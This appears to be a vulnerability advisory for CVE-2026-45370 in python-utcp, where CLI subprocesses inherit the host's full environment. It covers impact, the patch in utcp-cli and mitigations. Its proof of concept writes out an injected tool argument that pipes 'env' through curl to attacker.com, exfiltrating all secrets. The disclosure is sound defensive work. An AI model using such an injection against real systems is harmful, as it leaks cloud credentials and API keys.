CVE-2026-45370: python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection
Summary
prepareenvironment() in clicommunicationprotocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in substituteutcpargs() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
Vulnerable Code
python clicommunicationprotocol.py def prepareenvironment(self, provider: CliCallTemplate) -> Dict[str, str]: env = os.environ.copy() # All secrets inherited if provider.envvars: env.update(provider.envvars) return env
Impact
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
- Cloud provider credentials (AWSSECRETACCESSKEY, AZURECLIENTSECRET) - Database connection strings (DATABASEURL) - LLM API keys (OPENAIAPIKEY, ANTHROPICAPIKEY) - Internal service tokens
Proof of Concept
python Tool defined as: {"command": "grep UTCPARGpatternUTCPEND logfile.txt"}
Attacker supplies: toolargs = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
Executed bash script: CMD0OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1) -> Full env dump sent to attacker including all secrets
Patched
Fixed in utcp-cli 1.1.2. prepareenvironment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inheritenvvars field:
- null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work. - []: strict mode -- nothing from the host environment reaches the subprocess; only envvars is propagated. - ["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).
envvars is always layered on top and overrides any inherited value. Secrets like OPENAIAPIKEY no longer reach the subprocess unless the call template explicitly opts them in.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Credit
Reported by @ZeroXJacks.
Other sources
python-utcp is the python implementation of UTCP. Prior to 1.1.3, prepareenvironment() in clicommunicationprotocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.
— MITRE
Affected Software
Event History
Frequently Asked Questions
Who is exposed to secret leakage?
Deployments that invoke CLI subprocesses through python-utcp or utcp-cli and have sensitive values in the host process environment are exposed. This can include cloud credentials, database connection strings, LLM API keys, and internal service tokens.
What does an attacker need to exploit this issue?
An attacker needs the ability to supply tool arguments that reach the command-injection flaw in _substitute_utcp_args(). No user interaction is required, but the attack requires the privileges needed to provide those arguments.
Are secrets limited to variables explicitly configured for a tool?
No. _prepare_environment() copies the entire os.environ into each CLI subprocess, then applies any provider-specific environment variables. Injected commands can therefore access any environment variable available to the host process.
What can be done if patching is not immediately possible?
Reduce or remove sensitive environment variables from the process running the affected software, since CLI subprocesses inherit the full process environment. Also prevent untrusted input from being used as tool arguments that can reach command substitution.